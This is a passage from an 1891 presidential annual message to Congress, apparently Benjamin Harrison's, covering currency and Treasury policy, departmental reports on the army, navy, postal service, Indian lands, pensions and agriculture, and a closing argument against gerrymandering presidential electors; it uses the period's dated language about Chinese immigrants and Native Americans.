fixed that will give circulation\nequally to gold and silver. The business of the world requires the use of\nboth metals; but I do not see any prospect of gain, but much of loss, by\ngiving up the present system, in which a full use is made of gold and a\nlarge use of silver, for one in which silver alone will circulate. Such an\nevent would be at once fatal to the further progress of the silver\nmovement. Bimetallism is the desired end, and the true friends of silver\nwill be careful not to overrun the goal and bring in silver monometallism\nwith its necessary attendants--the loss of our gold to Europe and the\nrelief of the pressure there for a larger currency. I have endeavored by\nthe use of official and unofficial agencies to keep a close observation of\nthe state of public sentiment in Europe upon this question and have not\nfound it to be such as to justify me in proposing an international\nconference. There is, however, I am sure, a growing sentiment in Europe in\nfavor of a larger use of silver, and I know of no more effectual way of\npromoting this sentiment than by accumulating gold here. A scarcity of gold\nin the European reserves will be the most persuasive argument for the use\nof silver.The exports of gold to Europe, which began in February last and continued\nuntil the close of July, aggregated over $70,000,000. The net loss of gold\nduring the fiscal year was nearly $68,000,000. That no serious monetary\ndisturbance resulted was most gratifying and gave to Europe fresh evidence\nof the strength and stability of our financial institutions. With the\nmovement of crops the outflow of gold was speedily stopped and a return set\nin. Up to December 1 we had recovered of our gold lost at the port of New\nYork $27,854,000, and it is confidently believed that during the winter and\nspring this aggregate will be steadily and largely increased.The presence of a large cash surplus in the Treasury has for many years\nbeen the subject of much unfavorable criticism, and has furnished an\nargument to those who have desired to place the tariff upon a purely\nrevenue basis. It was agreed by all that the withdrawal from circulation of\nso large an amount of money was an embarrassment to the business of the\ncountry and made necessary the intervention of the Department at frequent\nintervals to relieve threatened monetary panics. The surplus on March 1,\n1889, was $183,827,190.29. The policy of applying this surplus to the\nredemption of the interest-bearing securities of the United States was\nthought to be preferable to that of depositing it without interest in\nselected national banks. There have been redeemed since the date last\nmentioned of interest-bearing securities $259,079,350, resulting in a\nreduction of the annual interest charge of $11,684,675. The money which had\nbeen deposited in banks without interest has been gradually withdrawn and\nused in the redemption of bonds.The result of this policy, of the silver legislation, and of the refunding\nof the 4 1/2 per cent bonds has been a large increase of the money in\ncirculation. At the date last named the circulation was $1,404,205,896, or\n$23.03 per capita, while on the 1st day of December, 1891, it had increased\nto $1,577,262,070, or $24.38 per capita. The offer of the Secretary of the\nTreasury to the holders of the 4 1/2 per cent bonds to extend the time of\nredemption, at the option of the Government, at an interest of 2 per cent,\nwas accepted by the holders of about one-half the amount, and the\nunextended bonds are being redeemed on presentation.The report of the Secretary of War exhibits the results of an intelligent,\nprogressive, and businesslike administration of a Department which has been\ntoo much regarded as one of mere routine. The separation of Secretary\nProctor from the Department by reason of his appointment as a Senator from\nthe State of Vermont is a source of great regret to me and to his\ncolleagues in the Cabinet, as I am sure it will be to all those who have\nhad business with the Department while under his charge.In the administration of army affairs some especially good work has been\naccomplished. The efforts of the Secretary to reduce the percentage of\ndesertions by removing the causes that promoted it have been so successful\nas to enable him to report for the last year a lower percentage of\ndesertion than has been before reached in the history of the Army. The\nresulting money saving is considerable, but the improvement in the morale\nof the enlisted men is the most valuable incident of the reforms which have\nbrought about this result.The work of securing sites for shore batteries for harbor defense and the\nmanufacture of mortars and guns of high power to equip them have made good\nprogress during the year. The preliminary work of tests and plans which so\nlong delayed a start is now out of the way. Some guns have been completed,\nand with an enlarged shop and a more complete equipment at Watervliet the\nArmy will soon be abreast of the Navy in gun construction. Whatever\nunavoidable causes of delay may arise, there should be none from delayed or\ninsufficient appropriations. We shall be greatly embarrassed in the proper\ndistribution and use of naval vessels until adequate shore defenses are\nprovided for our harbors.I concur in the recommendation of the Secretary that the three-battalion\norganization be adopted for the infantry. The adoption of a smokeless\npowder and of a modern rifle equal in range, precision, and rapidity of\nfire to the best now in use will, I hope, not be longer delayed.The project of enlisting Indians and organizing them into separate\ncompanies upon the same basis as other soldiers was made the subject of\nvery careful study by the Secretary and received my approval. Seven\ncompanies have been completely organized and seven more are in process of\norganization. The results of six months' training have more than realized\nthe highest anticipations. The men are readily brought under discipline,\nacquire the drill with facility, and show great pride in the right\ndischarge of their duty and perfect loyalty to their officers, who declare\nthat they would take them into action with confidence. The discipline,\norder, and cleanliness of the military posts will have a wholesome and\nelevating influence upon the men enlisted, and through them upon their\ntribes, while a friendly feeling for the whites and a greater respect for\nthe Government will certainly be promoted.The great work done in the Record and Pension Division of the War\nDepartment by Major Ainsworth, of the Medical Corps, and the clerks under\nhim is entitled to honorable mention. Taking up the work with nearly 41,000\ncases behind, he closed the last fiscal year without a single case left\nover, though the new cases had increased 52 per cent in number over the\nprevious year by reason of the pension legislation of the last Congress.I concur in the recommendation of the Attorney-General that the right in\nfelony cases to a review by the Supreme court be limited. It would seem\nthat personal liberty would have a safe guaranty if the right of review in\ncases involving only fine and imprisonment were limited to the circuit\ncourt of appeals, unless a constitutional question should in some way be\ninvolved.The judges of the Court of Private Land Claims, provided for by the act of\nMarch 3, 1891, have been appointed and the court organized. It is now\npossible to give early relief to communities long repressed in their\ndevelopment by unsettled land titles and to establish the possession and\nright of settlers whose lands have been rendered valueless by adverse and\nunfounded claims.The act of July 9, 1888, provided for the incorporation and management of a\nreform school for girls in the District of Columbia; but it has remained\ninoperative for the reason that no appropriation has been made for\nconstruction or maintenance. The need of such an institution is very\nurgent. Many girls could be saved from depraved lives by the wholesome\ninfluences and restraints of such a school. I recommend that the necessary\nappropriation be made for a site and for construction.The enforcement by the Treasury Department of the law prohibiting the\ncoming of Chinese to the United States has been effective as to such as\nseek to land from vessels entering our ports. The result has been to divert\nthe travel to vessels entering the ports of British Columbia, whence\npassage into the United States at obscure points along the Dominion\nboundary is easy. A very considerable number of Chinese laborers have\nduring the past year entered the United States from Canada and Mexico.The officers of the Treasury Department and of the Department of Justice\nhave used every means at their command to intercept this immigration; but\nthe impossibility of perfectly guarding our extended frontier is apparent.\nThe Dominion government collects a head tax of $50 from every Chinaman\nentering Canada, and thus derives a considerable revenue from those who\nonly use its ports to reach a position of advantage to evade our exclusion\nlaws. There seems to be satisfactory evidence that the business of passing\nChinamen through Canada to the United States is organized and quite active.\nThe Department of Justice has construed the laws to require the return of\nany Chinaman found to be unlawfully in this country to China as the country\nfrom which he came, notwithstanding the fact that he came by way of Canada;\nbut several of the district courts have in cases brought before them\noverruled this view of the law and decided that such persons must be\nreturned to Canada. This construction robs the law of all effectiveness,\neven if the decrees could be executed, for the men returned can the next\nday recross our border. But the only appropriation made is for sending them\nback to China, and the Canadian officials refuse to allow them to reenter\nCanada without the payment of the fifty-dollar head tax. I recommend such\nlegislation as will remedy these defects in the law.In previous messages I have called the attention of Congress to the\nnecessity of so extending the jurisdiction of the United States courts as\nto make triable therein any felony committed while in the act of violating\na law of the United States. These courts can not have that independence and\neffectiveness which the Constitution contemplates so long as the felonious\nkilling of court officers, jurors, and witnesses in the discharge of their\nduties or by reason of their acts as such is only cognizable in the State\ncourts. The work done by the Attorney-General and the officers of his\nDepartment, even under the present inadequate legislation, has produced\nsome notable results in the interest of law and order.The Attorney-General and also the Commissioners of the District of Columbia\ncall attention to the defectiveness and inadequacy of the laws relating to\ncrimes against chastity in the District of Columbia. A stringent code upon\nthis subject has been provided by Congress for Utah, and it is a matter of\nsurprise that the needs of this District should have been so long\noverlooked.In the report of the Postmaster-General some very gratifying results are\nexhibited and many betterments of the service suggested. A perusal of the\nreport gives abundant evidence that the supervision and direction of the\npostal system have been characterized by an intelligent and conscientious\ndesire to improve the service. The revenues of the Department show an\nincrease of over $5,000,000, with a deficiency for the year 1892 of less\nthan $4,000,000, while the estimate for the year 1893 shows a surplus of\nreceipts over expenditures.Ocean mail post-offices have been established upon the steamers of the\nNorth German Lloyd and Hamburg lines, saving by the distribution on\nshipboard from two to fourteen hours' time in the delivery of mail at the\nport of entry and often much more than this in the delivery at interior\nplaces. So thoroughly has this system, initiated by Germany and the United\nStates, evidenced its usefulness that it can not be long before it is\ninstalled upon all the great ocean mail-carrying steamships.Eight thousand miles of new postal service has been established upon\nrailroads, the car distribution to substations in the great cities has been\nincreased about 12 per cent, while the percentage of errors in distribution\nhas during the past year been reduced over one-half. An appropriation was\ngiven by the last Congress for the purpose of making some experiments in\nfree delivery in the smaller cities and towns. The results of these\nexperiments have been so satisfactory that the Postmaster-General\nrecommends, and I concur in the recommendation, that the free-delivery\nsystem be at once extended to towns of 5,000 population. His discussion of\nthe inadequate facilities extended under our present system to rural\ncommunities and his suggestions with a view to give these communities a\nfuller participation in the benefits of the postal service are worthy of\nyour careful consideration. It is not just that the farmer, who receives\nhis mail at a neighboring town, should not only be compelled to send to the\npost-office for it, but to pay a considerable rent for a box in which to\nplace it or to wait his turn at a general-delivery window, while the city\nresident has his mail brought to his door. It is stated that over 54,000\nneighborhoods are under the present system receiving mail at post-offices\nwhere money orders and postal notes are not issued. The extension of this\nsystem to these communities is especially desirable, as the patrons of such\noffices are not possessed of the other facilities offered in more populous\ncommunities for the transmission of small sums of money.I have in a message to the preceding Congress expressed my views as to a\nmodified use of the telegraph in connection with the postal service. In\npursuance of the ocean mail law of March 3, 1891, and after a most careful\nstudy of the whole subject and frequent conferences with ship-owners,\nboards of trade, and others, advertisements were issued by the\npostmaster-General for 53 lines of ocean mail service--10 to Great Britain\nand the Continent, 27 to South America, 3 to China and Japan, 4 to\nAustralia and the Pacific islands, 7 to the West Indies, and 2 to Mexico.\nIt was not, of course, expected that bids for all these lines would be\nreceived or that service upon them all would be contracted for. It was\nintended, in furtherance of the act, to secure as many new lines as\npossible, while including in the list most or all of the foreign lines now\noccupied by American ships. It was hoped that a line to England and perhaps\none to the Continent would be secured; but the outlay required to equip\nsuch lines wholly with new ships of the first class and the difficulty of\nestablishing new lines in competition with those already established\ndeterred bidders whose interest had been enlisted. It is hoped that a way\nmay yet be found of overcoming these difficulties.The Brazil Steamship Company, by reason of a miscalculation as to the speed\nof its vessels, was not able to bid under the terms of the advertisement.\nThe policy of the Department was to secure from the established lines an\nimproved service as a condition of giving to them the benefits of the law.\nThis in all instances has been attained. The Postmaster-General estimates\nthat an expenditure in American shipyards of about $10,000,000 will be\nnecessary to enable the bidders to construct the ships called for by the\nservice which they have accepted. I do not think there is any reason for\ndiscouragement or for any turning back from the policy of this legislation.\nIndeed, a good beginning has been made, and as the subject is further\nconsidered and understood by capitalists and shipping people new lines will\nbe ready to meet future proposals, and we may date from the passage of this\nlaw the revival of American shipping interests and the recovery of a fair\nshare of the carrying trade of the world. We were receiving for foreign\npostage nearly $2,000,000 under the old system, and the outlay for ocean\nmail service did not exceed $600,000 per annum. It is estimated by the\nPostmaster-General that if all the contracts proposed are completed it will\nrequire $247,354 for this year in addition to the appropriation for sea and\ninland postage already in the estimates, and that for the next fiscal year,\nending June 30, 1893, there would probably be needed about $560,000.The report of the Secretary of the Navy shows a gratifying increase of new\nnaval vessels in commission. The Newark, Concord, Bennington, and\nMiantonomoh have been added during the year, with an aggregate of something\nmore than 11,000 tons. Twenty-four warships of all classes are now under\nconstruction in the navy-yards and private shops; but while the work upon\nthem is going forward satisfactorily, the completion of the more important\nvessels will yet require about a year's time. Some of the vessels now\nunder construction, it is believed, will be triumphs of naval engineering.\nWhen it is recollected that the work of building a modern navy was only\ninitiated in the year 1883, that our naval constructors and shipbuilders\nwere practically without experience in the construction of large iron or\nsteel ships, that our engine shops were unfamiliar with great marine\nengines, and that the manufacture of steel forgings for guns and plates was\nalmost wholly a foreign industry, the progress that has been made is not\nonly highly satisfactory, but furnishes the assurance that the United\nStates will before long attain in the construction of such vessels, with\ntheir engines and armaments, the same preeminence which it attained when\nthe best instrument of ocean commerce was the clipper ship and the most\nimpressive exhibit of naval power the old wooden three-decker man-of-war.\nThe officers of the Navy and the proprietors and engineers of our great\nprivate shops have responded with wonderful intelligence and professional\nzeal to the confidence expressed by Congress in its liberal legislation. We\nhave now at Washington a gun shop, organized and conducted by naval\nofficers, that in its system, economy, and product is unexcelled.\nExperiments with armor plate have been conducted during the year with most\nimportant results. It is now believed that a plate of higher resisting\npower than any in use has been found and that the tests have demonstrated\nthat cheaper methods of manufacture than those heretofore thought necessary\ncan be used.I commend to your favorable consideration the recommendations of the\nSecretary, who has, I am sure, given to them the most conscientious study.\nThere should be no hesitation in promptly completing a navy of the best\nmodern type large enough to enable this country to display its flag in all\nseas for the protection of its citizens and of its extending commerce. The\nworld needs no assurance of the peaceful purposes of the United States, but\nwe shall probably be in the future more largely a competitor in the\ncommerce of the world, and it is essential to the dignity of this nation\nand to that peaceful influence which it should exercise on this hemisphere\nthat its Navy should be adequate both upon the shores of the Atlantic and\nof the Pacific.The report of the Secretary of the Interior shows that a very gratifying\nprogress has been made in all of the bureaus which make up that complex and\ndifficult Department.The work in the Bureau of Indian Affairs was perhaps never so large as now,\nby reason of the numerous negotiations which have been proceeding with the\ntribes for a reduction of the reservations, with the incident labor of\nmaking allotments, and was never more carefully conducted. The provision of\nadequate school facilities for Indian children and the locating of adult\nIndians upon farms involve the solution of the \"Indian question.\"\nEverything else--rations, annuities, and tribal negotiations, with the\nagents, inspectors, and commissioners who distribute and conduct them--must\npass away when the Indian has become a citizen, secure in the individual\nownership of a farm from which he derives his subsistence by his own labor,\nprotected by and subordinate to the laws which govern the white man, and\nprovided by the General Government or by the local communities in which he\nlives with the means of educating his children. When an Indian becomes a\ncitizen in an organized State or Territory, his relation to the General\nGovernment ceases in great measure to be that of a ward; but the General\nGovernment ought not at once to put upon the State or Territory the burden\nof the education of his children.It has been my thought that the Government schools and school buildings\nupon the reservations would be absorbed by the school systems of the States\nand Territories; but as it has been found necessary to protect the Indian\nagainst the compulsory alienation of his land by exempting him from\ntaxation for a period of twenty-five years, it would seem to be right that\nthe General Government, certainly where there are tribal funds in its\npossession, should pay to the school fund of the State what would be\nequivalent to the local school tax upon the property of the Indian. It will\nbe noticed from the report of the Commissioner of Indian Affairs that\nalready some contracts have been made with district schools for the\neducation of Indian children. There is great advantage, I think, in\nbringing the Indian children into mixed schools. This process will be\ngradual, and in the meantime the present educational provisions and\narrangements, the result of the best experience of those who have been\ncharged with this work, should be continued. This will enable those\nreligious bodies that have undertaken the work of Indian education with so\nmuch zeal and with results so restraining and beneficent to place their\ninstitutions in new and useful relations to the Indian and to his white\nneighbors.The outbreak among the Sioux which occurred in December last is as to its\ncauses and incidents fully reported upon by the War Department and the\nDepartment of the Interior. That these Indians had some just complaints,\nespecially in the matter of the reduction of the appropriation for rations\nand in the delays attending the enactment of laws to enable the Department\nto perform the engagements entered into with them, is probably true; but\nthe Sioux tribes are naturally warlike and turbulent, and their warriors\nwere excited by their medicine men and chiefs, who preached the coming of\nan Indian messiah who was to give them power to destroy their enemies. In\nview of the alarm that prevailed among the white settlers near the\nreservation and of the fatal consequences that would have resulted from an\nIndian incursion, I placed at the disposal of General Miles, commanding the\nDivision of the Missouri, all such forces as were thought by him to be\nrequired. He is entitled to the credit of having given thorough protection\nto the settlers and of bringing the hostiles into subjection with the least\npossible loss of life.The appropriation of $2,991,450 for the Choctaws and Chickasaws contained\nin the general Indian appropriation bill of March 3, 1891, has not been\nexpended, for the reason that I have not yet approved a release (to the\nGovernment) of the Indian claim to the lands mentioned. This matter will be\nmade the subject of a special message, placing before Congress all the\nfacts which have come to my knowledge.The relation of the Five Civilized Tribes now occupying the Indian\nTerritory to the United States is not, I believe, that best calculated to\npromote the highest advancement of these Indians. That there should be\nwithin our borders five independent states having no relations, except\nthose growing out of treaties, with the Government of the United States, no\nrepresentation in the National Legislature, its people not citizens, is a\nstartling anomaly.It seems to me to be inevitable that there shall be before long some\norganic changes in the relation of these people to the United States. What\nform these changes should take I do not think it desirable now to suggest,\neven if they were well defined in my own mind. They should certainly\ninvolve the acceptance of citizenship by the Indians and a representation\nin Congress. These Indians should have opportunity to present their claims\nand grievances upon the floor rather than, as now, in the lobby. If a\ncommission could be appointed to visit these tribes to confer with them in\na friendly spirit upon this whole subject, even if no agreement were\npresently reached the feeling of the tribes upon this question would be\ndeveloped, and discussion would prepare the way for changes which must come\nsooner or later.The good work of reducing the larger Indian reservations by allotments in\nseveralty to the Indians and the cession of the remaining lands to the\nUnited States for disposition under the homestead law has been prosecuted\nduring the year with energy and success. In September last I was enabled to\nopen to settlement in the Territory of Oklahoma 900,000 acres of land, all\nof which was taken up by settlers in a single day. The rush for these lands\nwas accompanied by a great deal of excitement, but was happily free from\nincidents of violence.It was a source of great regret that I was not able to open at the same\ntime the surplus lands of the Cheyenne and Arapahoe Reservation, amounting\nto about 3,000,000 acres, by reason of the insufficiency of the\nappropriation for making the allotments. Deserving and impatient settlers\nare waiting to occupy these lands, and I urgently recommend that a special\ndeficiency appropriation be promptly made of the small amount needed, so\nthat the allotments may be completed and the surplus lands opened in time\nto permit the settlers to get upon their homesteads in the early spring.During the past summer the Cherokee Commission have completed arrangements\nwith the Wichita, Kickapoo, and Tonkawa tribes whereby, if the agreements\nare ratified by Congress, over 800,000 additional acres will be opened to\nsettlement in Oklahoma.The negotiations for the release by the Cherokees of their claim to the\nCherokee Strip have made no substantial progress so far as the Department\nis officially advised, but it is still hoped that the cession of this large\nand valuable tract may be secured. The price which the commission was\nauthorized to offer--$1.25 per acre--is, in my judgment, when all the\ncircumstances as to title and the character of the lands are considered, a\nfair and adequate one, and should have been accepted by the Indians.Since March 4, 1889, about 23,000,000 acres have been separated from Indian\nreservations and added to the public domain for the use of those who\ndesired to secure free homes under our beneficent laws. It is difficult to\nestimate the increase of wealth which will result from the conversion of\nthese waste lands into farms, but it is more difficult to estimate the\nbetterment which will result to the families that have found renewed hope\nand courage in the ownership of a home and the assurance of a comfortable\nsubsistence under free and healthful conditions. It is also gratifying to\nbe able to feel, as we may, that this work has proceeded upon lines of\njustice toward the Indian, and that he may now, if he will, secure to\nhimself the good influences of a settled habitation, the fruits of\nindustry, and the security of citizenship.Early in this Administration a special effort was begun to bring up the\nwork of the General Land Office. By faithful work the arrearages have been\nrapidly reduced. At the end of the last fiscal year only 84,172 final\nagricultural entries remained undisposed of, and the Commissioner reports\nthat with the present force the work can be fully brought up by the end of\nthe next fiscal year.Your attention is called to the difficulty presented by the Secretary of\nthe Interior as to the administration of the law of March 3, 1891,\nestablishing a Court of Private Land Claims. The small holdings intended to\nbe protected by the law are estimated to be more than 15,000 in number. The\nclaimants are a most deserving class and their titles are supported by the\nstrongest equities. The difficulty grows out of the fact that the lands\nhave largely been surveyed according to our methods, while the holdings,\nmany of which have been in the same family for generations, are laid out in\nnarrow strips a few rods wide upon a stream and running back to the hills\nfor pasturage and timber.. Provision should be made for numbering these\ntracts as lots and for patenting them by such numbers and without reference\nto section lines.The administration of the Pension Bureau has been characterized during the\nyear by great diligence. The total number of pensioners upon the roll on\nthe 30th day of June, 1891, was 676,160. There were allowed during the\nfiscal year ending at that time 250,565 cases. Of this number 102,387 were\nallowed under the law of June 27, 1890. The issuing of certificates has\nbeen proceeding at the rate of about 30,000 per month, about 75 per cent of\nthese being cases under the new law. The Commissioner expresses the opinion\nthat he will be able to carefully adjudicate and allow 350,000 claims\nduring the present fiscal year. The appropriation for the payment of\npensions for the fiscal year 1890-91 was $127,685,793.89 and the amount\nexpended $118,530,649.25, leaving an unexpended surplus of $9,155,144.64.The Commissioner is quite confident that there will be no call this year\nfor a deficiency appropriation, notwithstanding the rapidity with which the\nwork is being pushed. The mistake which has been made by many in their\nexaggerated estimates of the cost of pensions is in not taking account of\nthe diminished value of first payments under the recent legislation. These\npayments under the general law have been for many years very large, as the\npensions when allowed dated from the time of filing the claim, and most of\nthese claims had been pending for years. The first payments under the law\nof June, 1890, are relatively small, and as the per cent of these cases\nincreases and that of the old cases diminishes the annual aggregate of\nfirst payments is largely reduced. The Commissioner, under date of November\n13, furnishes me with the statement that during the last four months\n113,175 certificates were issued, 27,893 under the general law and 85,282\nunder the act of June 27, 1890. The average first payment during these four\nmonths was $131.85, while the average first payment upon cases allowed\nduring the year ending June 30, 1891, was $239.33, being a reduction in the\naverage first payments during these four months of $107.48.The estimate for pension expenditures for the fiscal year ending June 30,\n1893, is $144,956,000, which, after a careful examination of the subject,\nthe Commissioner is of the opinion will be sufficient. While these\ndisbursements to the disabled soldiers of the great Civil War are large,\nthey do not realize the exaggerated estimates of those who oppose this\nbeneficent legislation. The Secretary of the Interior shows with great\nfullness the care that is taken to exclude fraudulent claims, and also the\ngratifying fact that the persons to whom these pensions are going are men\nwho rendered not slight but substantial war service.The report of the Commissioner of Railroads shows that the total debt of\nthe subsidized railroads to the United States was on December 31, 1890,\n$112,512,613.06. A large part of this debt is now fast approaching\nmaturity, with no adequate provision for its payment. Some policy for\ndealing with this debt with a view to its ultimate collection should be at\nonce adopted. It is very difficult, well-nigh impossible, for so large a\nbody as the Congress to conduct the necessary negotiations and\ninvestigations. I therefore recommend that provision be made for the\nappointment of a commission to agree upon and report a plan for dealing\nwith this debt.The work of the Census Bureau is now far in advance and the great bulk of\nthe enormous labor involved completed. It will be more strictly a\nstatistical exhibit and less encumbered by essays than its immediate\npredecessors. The methods pursued have been fair, careful, and intelligent,\nand have secured the approval of the statisticians who have followed them\nwith a scientific and nonpartisan interest. The appropriations necessary to\nthe early completion and publication of the authorized volumes should be\ngiven in time to secure against delays, which increase the cost and at the\nsame time diminish the value of the work.The report of the Secretary exhibits with interesting fullness the\ncondition of the Territories. They have shared with the States the great\nincrease in farm products, and are bringing yearly large areas into\ncultivation by extending their irrigating canals. This work is being done\nby individuals or local corporations and without that system which a full\npreliminary survey of the water supply and of the irrigable lands would\nenable them to adopt. The future of the Territories of New Mexico, Arizona,\nand Utah in their material growth and in the increase, independence, and\nhappiness of their people is very largely dependent upon wise and timely\nlegislation, either by Congress or their own legislatures, regulating the\ndistribution of the water supply furnished by their streams. If this matter\nis much longer neglected, private corporations will have unrestricted\ncontrol of one of the elements of life and the patentees of the arid lands\nwill be tenants at will of the water companies.The United States should part with its ownership of the water sources and\nthe sites for reservoirs, whether to the States and Territories or to\nindividuals or corporations, only upon conditions that will insure to the\nsettlers their proper water supply upon equal and reasonable terms. In the\nTerritories this whole subject is under the full control of Congress, and\nin the States it is practically so as long as the Government holds the\ntitle to the reservoir sites and water sources and can grant them upon such\nconditions as it chooses to impose. The improvident granting of franchises\nof enormous value without recompense to the State or municipality from\nwhich they proceed and without proper protection of the public interests is\nthe most noticeable and flagrant evil of modern legislation. This fault\nshould not be committed in dealing with a subject that will before many\nyears affect so vitally thousands of our people.The legislation of Congress for the repression of polygamy has, after years\nof resistance on the part of the Mormons, at last brought them to the\nconclusion that resistance is unprofitable and unavailing. The power of\nCongress over this subject should not be surrendered until we have\nsatisfactory evidence that the people of the State to be created would\nexercise the exclusive power of the State over this subject in the same\nway. The question is not whether these people now obey the laws of Congress\nagainst polygamy, but rather would they make, enforce, and maintain such\nlaws themselves if absolutely free to regulate the subject? We can not\nafford to experiment with this subject, for when a State is once\nconstituted the act is final and any mistake irretrievable. No compact in\nthe enabling act could, in my opinion, be binding or effective.I recommend that provision be made for the organization of a simple form of\ntown government in Alaska, with power to regulate such matters as are\nusually in the States under municipal control. These local civil\norganizations will give better protection in some matters than the present\nskeleton Territorial organization. Proper restrictions as to the power to\nlevy taxes and to create debt should be imposed.If the establishment of the Department of Agriculture was regarded by\nanyone as a mere concession to the unenlightened demand of a worthy class\nof people, that impression has been most effectually removed by the great\nresults already attained. Its home influence has been very great in\ndisseminating agricultural and horticultural information, in stimulating\nand directing a further diversification of crops, in detecting and\neradicating diseases of domestic animals, and, more than all, in the close\nand informal contact which it has established and maintains with the\nfarmers and stock raisers of the whole country. Every request for\ninformation has had prompt attention and every suggestion merited\nconsideration. The scientific corps of the Department is of a high order\nand is pushing its investigations with method and enthusiasm.The inspection by this Department of cattle and pork products intended for\nshipment abroad has been the basis of the success which has attended our\nefforts to secure the removal of the restrictions maintained by the\nEuropean Governments.For ten years protests and petitions upon this subject from the packers and\nstock raisers of the United States have been directed against these\nrestrictions, which so seriously limited our markets and curtailed the\nprofits of the farm. It is a source of general congratulation that success\nhas at last been attained, for the effects of an enlarged foreign market\nfor these meats will be felt not only by the farmer, but in our public\nfinances and in every branch of trade. It is particularly fortunate that\nthe increased demand for food products resulting from the removal of the\nrestrictions upon our meats and from the reciprocal trade arrangements to\nwhich I have referred should have come at a time when the agricultural\nsurplus is so large. Without the help thus derived lower prices would have\nprevailed. The Secretary of Agriculture estimates that the restrictions\nupon the importation of our pork products into Europe lost us a market for\n$20,000,000 worth of these products annually.The grain crop of this year was the largest in our history--50 per cent\ngreater than that of last year--and yet the new markets that have been\nopened and the larger demand resulting from short crops in Europe have\nsustained prices to such an extent that the enormous surplus of meats and\nbreadstuffs will be marketed at good prices, bringing relief and prosperity\nto an industry that was much depressed. The value of the grain crop of the\nUnited States is estimated by the Secretary to be this year $500,000,000\nmore than last; of meats $150,000,000 more, and of all products of the farm\n$700,000,000 more. It is not inappropriate, I think, here to suggest that\nour satisfaction in the contemplation of this marvelous addition to the\nnational wealth is unclouded by any suspicion of the currency by which it\nis measured and in which the farmer is paid for the products of his\nfields.The report of the Civil Service Commission should receive the careful\nattention of the opponents as well as the friends of this reform. The\nCommission invites a personal inspection by Senators and Representatives of\nits records and methods, and every fair critic will feel that such an\nexamination should precede a judgment of condemnation either of the system\nor its administration. It is not claimed that either is perfect, but I\nbelieve that the law is being executed with impartiality and that the\nsystem is incomparably better and fairer than that of appointments upon\nfavor. I have during the year extended the classified service to include\nsuperintendents, teachers, matrons, and physicians in the Indian service.\nThis branch of the service is largely related to educational and\nphilanthropic work and will obviously be the better for the change.The heads of the several Executive Departments have been directed to\nestablish at once an efficiency record as the basis of a comparative rating\nof the clerks within the classified service, with a view to placing\npromotions therein upon the basis of merit. I am confident that such a\nrecord, fairly kept and open to the inspection of those interested, will\npowerfully stimulate the work of the Departments and will be accepted by\nall as placing the troublesome matter of promotions upon a just basis.I recommend that the appropriation for the Civil Service Commission be made\nadequate to the increased work of the next fiscal year.I have twice before urgently called the attention of Congress to the\nnecessity of legislation for the protection of the lives of railroad\nemployees, but nothing has yet been done. During the year ending June 30,\n1890, 369 brakemen were killed and 7,841 maimed while engaged in coupling\ncars. The total number of railroad employees killed during the year was\n2,451 and the number injured 22,390. This is a cruel and largely needless\nsacrifice. The Government is spending nearly $1,000,000 annually to save\nthe lives of shipwrecked seamen; every steam vessel is rigidly inspected\nand required to adopt the most approved safety appliances. All this is\ngood. But how shall we excuse the lack of interest and effort in behalf of\nthis army of brave young men who in our land commerce are being sacrificed\nevery year by the continued use of antiquated and dangerous appliances? A\nlaw requiring of every railroad engaged in interstate commerce the\nequipment each year of a given per cent of its freight cars with automatic\ncouplers and air brakes would compel an agreement between the roads as to\nthe kind of brakes and couplers to be used, and would very soon and very\ngreatly reduce the present fearful death rate among railroad employees.The method of appointment by the States of electors of President and\nVice-President has recently attracted renewed interest by reason of a\ndeparture by the State of Michigan from the method which had become uniform\nin all the States. Prior to 1832 various methods had been used by the\ndifferent States, and even by the same State. In some the choice was made\nby the legislature; in others electors were chosen by districts, but more\ngenerally by the voters of the whole State upon a general ticket. The\nmovement toward the adoption of the last-named method had an early\nbeginning and went steadily forward among the States until in 1832 there\nremained but a single State (South Carolina) that had not adopted it. That\nState until the Civil War continued to choose its electors by a vote of the\nlegislature, but after the war changed its method and conformed to the\npractice of the other States. For nearly sixty years all the States save\none have appointed their electors by a popular vote upon a general ticket,\nand for nearly thirty years this method was universal.After a full test of other methods, without important division or dissent\nin any State and without any purpose of party advantage, as we must\nbelieve, but solely upon the considerations that uniformity was desirable\nand that a general election in territorial divisions not subject to change\nwas most consistent with the popular character of our institutions, best\npreserved the equality of the voters, and perfectly removed the choice of\nPresident from the baneful influence of the \"gerrymander,\" the practice of\nall the States was brought into harmony. That this concurrence should now\nbe broken is, I think, an unfortunate and even a threatening episode, and\none that may well suggest whether the States that still give their approval\nto the old and prevailing method ought not to secure by a constitutional\namendment a practice which has had the approval of all. The recent Michigan\nlegislation provides for choosing what are popularly known as the\nCongressional electors for President by Congressional districts and the two\nSenatorial electors by districts created for that purpose. This legislation\nwas, of course, accompanied by a new Congressional apportionment, and the\ntwo statutes bring the electoral vote of the State under the influence of\nthe \"gerrymander.\"These gerrymanders for Congressional purposes are in most cases buttressed\nby a gerrymander of the legislative districts, thus making it impossible\nfor a majority of the legal voters of the State to correct the\napportionment and equalize the Congressional districts. A minority rule is\nestablished that only a political convulsion can overthrow. I have recently\nbeen advised that in one county of a certain State three districts for the\nelection of members of the legislature are constituted as follows: One has\n65,000 population, one 15,000, and one 10,000, while in another county\ndetached, noncontiguous sections have been united to make a legislative\ndistrict. These methods have already found effective application to the\nchoice of Senators and Representatives in Congress, and now an evil start\nhas been made in the direction of applying them to the choice by the States\nof electors of President and Vice-President. If this is accomplished, we\nshall then have the three great departments of the Government in the grasp\nof the \"gerrymander,\" the legislative and executive directly and the\njudiciary indirectly through the power of appointment.An election implies a body of electors having prescribed qualifications,\neach one of whom has an equal value and influence in determining the\nresult. So when the Constitution provides that \"each State shall appoint\"\n(elect), \"in such manner as the legislature thereof may direct, a number of\nelectors,\" etc., an unrestricted power was not given to the legislatures in\nthe selection of the methods to be used. \"A republican form of government\"\nis guaranteed by the Constitution to each State, and the power given by the\nsame instrument to the legislatures of the States to prescribe methods for\nthe choice by the State of electors must be exercised under that\nlimitation. The essential features of such a government are the right of\nthe people to choose their own officers and the nearest practicable\nequality of value in the suffrages given in determining that choice.It will not be claimed that the power given to the legislature would\nsupport a law providing that the persons receiving the smallest vote should\nbe the electors or a law that all the electors should be chosen by the\nvoters of a single Congressional district. The State is to choose, and\nfinder the pretense of regulating methods the legislature can neither vest\nthe right of choice elsewhere nor adopt methods not conformable to\nrepublican institutions. It is not my purpose here to discuss the question\nwhether a choice by the legislature or by the voters of equal single\ndistricts is a choice by the State, but only to recommend such regulation\nof this matter by constitutional amendment as will secure uniformity and\nprevent that disgraceful partisan jugglery to which such a liberty of\nchoice, if it exists, offers a 